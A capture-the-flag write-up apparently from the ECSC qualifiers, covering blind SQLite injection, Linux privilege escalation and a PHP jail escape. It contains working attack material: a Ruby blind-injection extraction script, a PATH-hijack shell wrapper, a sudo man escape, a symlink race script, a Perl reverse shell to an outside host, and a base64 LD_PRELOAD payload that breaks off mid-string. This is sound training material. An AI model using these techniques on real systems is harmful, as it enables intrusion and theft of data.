ECSC{889b71de2017ca8074f49d3f853950e147591
ECSC{889b71de2017ca8074f49d3f853950e147591b
ECSC{889b71de2017ca8074f49d3f853950e147591b3
ECSC{889b71de2017ca8074f49d3f853950e147591b38
ECSC{889b71de2017ca8074f49d3f853950e147591b38}
Flag: ECSC{889b71de2017ca8074f49d3f853950e147591b38}

(Spoiler: at this point I didn't know I was still targeting port 8003 instead of 8004)

But that's Scully (1) flag, lel.

Instead of SELECT flag FROM flag LIMIT 1 I tried SELECT flag FROM flag LIMIT 1 OFFSET 1 and SELECT flag FROM flag WHERE flag NOT 'ECSC{889b71de2017ca8074f49d3f853950e147591b38}' LIMIT 1 without success.

Let's try to find another column:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
...

def read_string(uri, http, req, length, wanted)
content = ""
ecsc_flag_charset = (" ".."~").to_a.push("\n") # (" ".."~") == all printable char == from 0x20 to 0x7e in ASCII Table
puts "Beginning to retrive content"
while content.length < length
ecsc_flag_charset.each do |c|
tmp = content + c
# SQLite tip: 1st position in a string is 1
payload = "' or substr((SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'')),'TEXT',''),'INTEGER',''),'AUTOINCREMENT',''),'PRIMARY KEY',''),'UNIQUE',''),'NUMERIC',''),'REAL',''),'BLOB',''),'NOT NULL',''),',','~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_\%' AND name ='flag' LIMIT 1 OFFSET 0), #{tmp.length}, 1) == \"#{tmp[tmp.length-1]}\"-- -#{wanted}"
if check_expression(uri, http, req, payload)
content += c
puts content
break
elsif c == "\n"
content += "*" # "*" if no ecsc_flag_charset found else we could get an infinite loop
end
end
end
return content
end

# Get column length
payload = "admin' and length((SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'')),'TEXT',''),'INTEGER',''),'AUTOINCREMENT',''),'PRIMARY KEY',''),'UNIQUE',''),'NUMERIC',''),'REAL',''),'BLOB',''),'NOT NULL',''),',','~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%%' AND name ='flag' LIMIT 1 OFFSET 0)) < %i-- -"
column_length = get_length(uri, http, req, payload)
puts "flag length: #{column_length}"
# length: 6

column = read_string(uri, http, req, column_length, 'flag')
puts 'Column: '.concat(column)

No luck there is no other column in this table.

Let's find another table:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
...

def read_string(uri, http, req, length, wanted)
content = ""
ecsc_flag_charset = (" ".."~").to_a.push("\n") # (" ".."~") == all printable char == from 0x20 to 0x7e in ASCII Table
puts "Beginning to retrive content"
while content.length < length
ecsc_flag_charset.each do |c|
tmp = content + c
# SQLite tip: 1st position in a string is 1
payload = "admin' and substr((SELECT tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT like 'sqlite_%%' AND tbl_name NOT LIKE 'flag' LIMIT 1 OFFSET 0), #{tmp.length}, 1) == \"#{tmp[tmp.length-1]}\"-- -#{wanted}"
if check_expression(uri, http, req, payload)
content += c
puts content
break
elsif c == "\n"
content += "*" # "*" if no ecsc_flag_charset found else we could get an infinite loop
end
end
end
return content
end

# Get table length
payload = "admin' and length((SELECT tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT like 'sqlite_%%' AND tbl_name NOT LIKE 'flag' LIMIT 1 OFFSET 0)) < %i-- -"
table_length = get_length(uri, http, req, payload)
puts "flag length: #{table_length}"
# length: 46

table = read_string(uri, http, req, table_length, 'flag')
puts 'Flag: '.concat(table)

Tables:

  • flag
  • players

WAIIIIIIIIIT!!! I was using port 8003 instead of 8004!

=> Launch back on port 8004.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
ruby tmp/blind.rb
flag length: 46
Beginning to retrive content
E
EC
ECS
ECSC
ECSC{
ECSC{3
ECSC{3f
ECSC{3f6
ECSC{3f65
ECSC{3f65e
ECSC{3f65e0
ECSC{3f65e0e
ECSC{3f65e0e1
ECSC{3f65e0e1d
ECSC{3f65e0e1d4
ECSC{3f65e0e1d45
ECSC{3f65e0e1d453
ECSC{3f65e0e1d453f
ECSC{3f65e0e1d453f6
ECSC{3f65e0e1d453f6c
ECSC{3f65e0e1d453f6c8
ECSC{3f65e0e1d453f6c8a
ECSC{3f65e0e1d453f6c8a7
ECSC{3f65e0e1d453f6c8a79
ECSC{3f65e0e1d453f6c8a79a
ECSC{3f65e0e1d453f6c8a79a9
ECSC{3f65e0e1d453f6c8a79a90
ECSC{3f65e0e1d453f6c8a79a901
ECSC{3f65e0e1d453f6c8a79a9013
ECSC{3f65e0e1d453f6c8a79a90131
ECSC{3f65e0e1d453f6c8a79a90131a
ECSC{3f65e0e1d453f6c8a79a90131ae
ECSC{3f65e0e1d453f6c8a79a90131aef
ECSC{3f65e0e1d453f6c8a79a90131aef1
ECSC{3f65e0e1d453f6c8a79a90131aef13
ECSC{3f65e0e1d453f6c8a79a90131aef133
ECSC{3f65e0e1d453f6c8a79a90131aef1332
ECSC{3f65e0e1d453f6c8a79a90131aef13326
ECSC{3f65e0e1d453f6c8a79a90131aef13326a
ECSC{3f65e0e1d453f6c8a79a90131aef13326a9
ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a
ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0
ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0b
ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0be
ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0bea
ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0bea}
Flag: ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0bea}

At least I learned more about SQLite! I feel so ashamed, it is not profesionnal to attack the wrong target.

🔗243 - privesc101 - System

Le flag est dans /home/user3/flag. À vous de trouver comment y accéder !

Connectez-vous avec la commande suivante :

ssh -p 4000 user0@challenges.ecsc-teamfrance.fr

Le mot de passe est user0.

Note : Il est normal que /home/user1/ soit vide.

What are we up to?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ user0@privesc101:~$ ls -RlhA /home/
/home/:
total 16K
drwxr-xr-x 1 root user0 4.0K May 13 23:59 user0
drwxr-xr-x 1 root user1 4.0K May 13 23:59 user1
drwxr-xr-x 1 root user2 4.0K May 13 23:59 user2
drwxr-xr-x 1 user3 user3 4.0K May 13 23:59 user3

/home/user0:
total 24K
-rw-r--r-- 1 root user0 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root user0 3.5K May 15 2017 .bashrc
-rw-r--r-- 1 root user0 675 May 15 2017 .profile
-r--r-sr-x 1 root user1 8.6K May 13 23:59 stage0

/home/user1:
total 12K
-rw-r--r-- 1 root user1 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root user1 3.5K May 15 2017 .bashrc
-rw-r--r-- 1 root user1 675 May 15 2017 .profile

/home/user2:
total 28K
-rw-r--r-- 1 root user2 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root user2 3.5K May 15 2017 .bashrc
-rw-r--r-- 1 root user2 675 May 15 2017 .profile
-r-S--s--- 1 user3 user2 8.8K May 13 23:59 stage2
-r--r----- 1 root user2 538 May 13 23:58 stage2.c

/home/user3:
total 16K
-rw-r--r-- 1 user3 user3 220 May 15 2017 .bash_logout
-rw-r--r-- 1 user3 user3 3.5K May 15 2017 .bashrc
-rw-r--r-- 1 user3 user3 675 May 15 2017 .profile
-r--r----- 1 user3 user3 47 May 13 23:58 flag

Seems straightforward.

1
2
3
4
$ strings stage0
...
ls /home/user3
...

Wait for the PATH bypass EoP (isn't that abbreviation sexier than privsec?).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
user0@privesc101:~$ id # check who I am
uid=999(user0) gid=999(user0) groups=999(user0)

user0@privesc101:~$ alias # be carefull
alias ls='ls --color=auto'

user0@privesc101:~$ unalias ls

user0@privesc101:~$ mkdir /tmp/noraj # here we can write

user0@privesc101:~$ vim /tmp/noraj/ls # vim > emacs

user0@privesc101:~$ cat /tmp/noraj/ls
#!/bin/sh
/bin/bash -i

user0@privesc101:~$ chmod +x /tmp/noraj/ls

user0@privesc101:~$ PATH="/tmp/noraj:$PATH" ./stage0

user0@privesc101:~$ id # Next level
uid=999(user0) gid=998(user1) groups=998(user1),999(user0)

user0@privesc101:~$ export PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games" # restore the PATH

user0@privesc101:~$ sudo -l # We'll definitly mess with that classic bang
User user0 may run the following commands on privesc101:
(user0 : user2) NOPASSWD: /usr/bin/man ls

user0@privesc101:~$ sudo -u user0 -g user2 /usr/bin/man ls # sudo bring me coffee
!/bin/bash
user0@privesc101:~$ id # yeah I still don't know who I am
uid=999(user0) gid=997(user2) groups=997(user2),998(user1),999(user0)

user0@privesc101:~$ ls -lh /home/user2 # pay attention to privilegies
total 16K
-r-S--s--- 1 user3 user2 8.8K May 13 23:59 stage2
-r--r----- 1 root user2 538 May 13 23:58 stage2.c

user0@privesc101:~$ ls -lh /home/user3/flag # this flag is not so readable for us right now
-r--r----- 1 user3 user3 47 May 13 23:58 /home/user3/flag

user0@privesc101:~$ cat /home/user2/stage2.c
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char *argv[]) {

FILE *f;

struct stat buf;
if (argc < 2) {
printf("Usage : ./stage2 path\n");
return -1;
}

if (stat(argv[1], &buf) != 0 || buf.st_uid != getuid()) {
printf("You must own the file.\n");
return -2;
}

f = fopen(argv[1], "r");
if (f == NULL)
return -3;
char c;
printf("%s\n", argv[1]);
while((c = fgetc(f)) != EOF)
printf("%c", c);
fclose(f);
return 0;
}

Race condition baby: https://www.win.tue.nl/~aeb/linux/hh/hh-9.html

1
2
3
4
5
6
7
#!/bin/sh
touch /tmp/noraj/user2
while true; do
ln -sf /tmp/noraj/user2 /tmp/noraj/foo.txt &
/home/user2/stage2 /tmp/noraj/foo.txt &
ln -sf /home/user3/flag /tmp/noraj/foo.txt
done

Let's run faster (even if the turtle started before us).

1
2
3
4
5
6
7
8
9
/tmp/noraj/foo.txt
ECSC{a311360c0ba098d449f6599bfacbd78da2884024}
You must own the file.
You must own the file.
rm: cannot remove '/tmp/noraj/foo.txt': No such file or directory
You must own the file.
You must own the file.
You must own the file.
You must own the file.

The turtle was wrong.

🔗288 - PHP Jail - Jail

We have to know our environment:

var_dump(phpinfo()); => Tons of disabled functions and classes => it will be possible to read files but not to list directory content.

sendmail_path => /usr/sbin/sendmail -t -i => /usr/sbin/sendmail -t -i

Oh yeah we know this sound like Chankro and LD_PRELOAD bypass.

highlight_file('/home/user0/server.py');

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 #!/usr/bin/python

import config
import program

import logging
import socket
import sys

logger = logging.getLogger('server')
logger.info('Server started')

# CREATE SOCKET
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(config.SOCKET_TIMEOUT)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
logger.debug('Socket created')

# BIND SOCKET
s.bind((config.LISTEN_ADDRESS, config.LISTEN_PORT))
s.listen(config.MAX_CLIENTS)
logger.debug('Socket configured')

activeClients = []
logger.info('Waiting for clients')
while True:

for client in activeClients:
if not client.alive:
activeClients.remove(client)

try:
clientSock, clientAddr = s.accept()
logger.debug('Client (%s, %d) connected - %d active clients' % (clientAddr[0], clientAddr[1], len(activeClients)))
sh = program.SocketHandler(clientSock, clientAddr)
activeClients.append(sh)
sh.daemon = True
sh.start()

except socket.timeout:
logger.debug('No client accepted within %d seconds - %d active clients' % (config.SOCKET_TIMEOUT, len(activeClients)))

import program not in stdlib so let's take a look at program.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
 #!/usr/bin/python

import hashlib
import logging
import random
import socket
import threading
import time
import os
import config

from pwn import *

class SocketHandler(threading.Thread):

def __init__(self, client, addr):

# SUPER
threading.Thread.__init__(self)

# ATTRIBUTES
self.__threadname = hashlib.new('sha1', str(time.time())).hexdigest()[:6]
self.__client = client
self.__addr = addr
self.__logger = logging.getLogger('client.%s' % self.__threadname)
self.alive = True

self.__client.settimeout(config.SOCKET_TIMEOUT)
self.__logger.info('Client (%s, %d) joined' % self.__addr)


def send(self, data):
self.__client.send(data)
self.__logger.debug('Sent "%s" to client' % data.replace('\n', '\\n'))


def recv(self, l=1024):

buffer = ''

while True:
data = self.__client.recv(l)
if data == '' or data is None:
raise socket.error

buffer += data

if len(buffer)>l:
buffer = buffer[:l]
break

self.__logger.debug('Recvd "%s" from client' % data.replace('\n', '\\n'))
return data


def run(self):

# GAME ON OLD FRIEND!
try:

self.send(
'''
/// PHP JAIL ////

There's a file named flag on this filesystem.
Find it.
Read it.
Flag it.


''')

io = process(['/usr/bin/php', '/home/user0/main.php'])
rem = remote.fromsocket(self.__client)

phpdata = io.recvuntil(': ')
self.send(phpdata)

userdata = ''
MAX_LEN=32768
while True:
data = rem.recv(1024, timeout=config.SOCKET_TIMEOUT)
if data == '':
break

userdata += data
if len(userdata)>MAX_LEN:
self.send('\nPayload too long, truncated at %d bytes\n' % MAX_LEN)
userdata = userdata[:MAX_LEN]
break

if userdata.strip()=='':
self.send('\nToo slow!\n')

else:
io.send(userdata)

phpdata = ''
while True:
try:
data = io.recv(1024, timeout=config.SOCKET_TIMEOUT)
if data == '':
break

phpdata += data

except EOFError:
break

self.send(phpdata)
self.send('\n')

self.send('Bye!\n')
io.close()

except socket.error, e:
self.__logger.info('Client disconnected')
try:
self.send('You have been disconnected...')
except:
pass

except Exception, e:
self.__logger.critical('Unknown error: "%s"' % str(e))


try:
io.close()
except:
pass

self.__exit()
return


def __exit(self):
self.__client.close()
self.__logger.info('Exiting')
self.alive = False



# UNIT TEST
if __name__=='__main__':
pass

Boriiiiiiiing!

/home/user0/main.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php

//ini_set('display_errors', 'off');
//ini_set('error_reporting', '');
//ini_set('max_execution_time', 10);

echo "Enter your command: "; $command = readline();

try {
@eval('fclose(STDERR); '.$command);

} catch (ParseError $e) {

die('Parse error, or something.');
}

?>

Action!

OK, let's use Chankro again and a perl revere shell, why should I change?

1
2
3
4
5
$ cat /tmp/script.sh 
#!/bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:53333");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

$ chankro --arch 64 --input /tmp/script.sh --output chankro.php --path /tmp

Remove the php tags and put that in a file send.txt

1
$hook = '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BwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAA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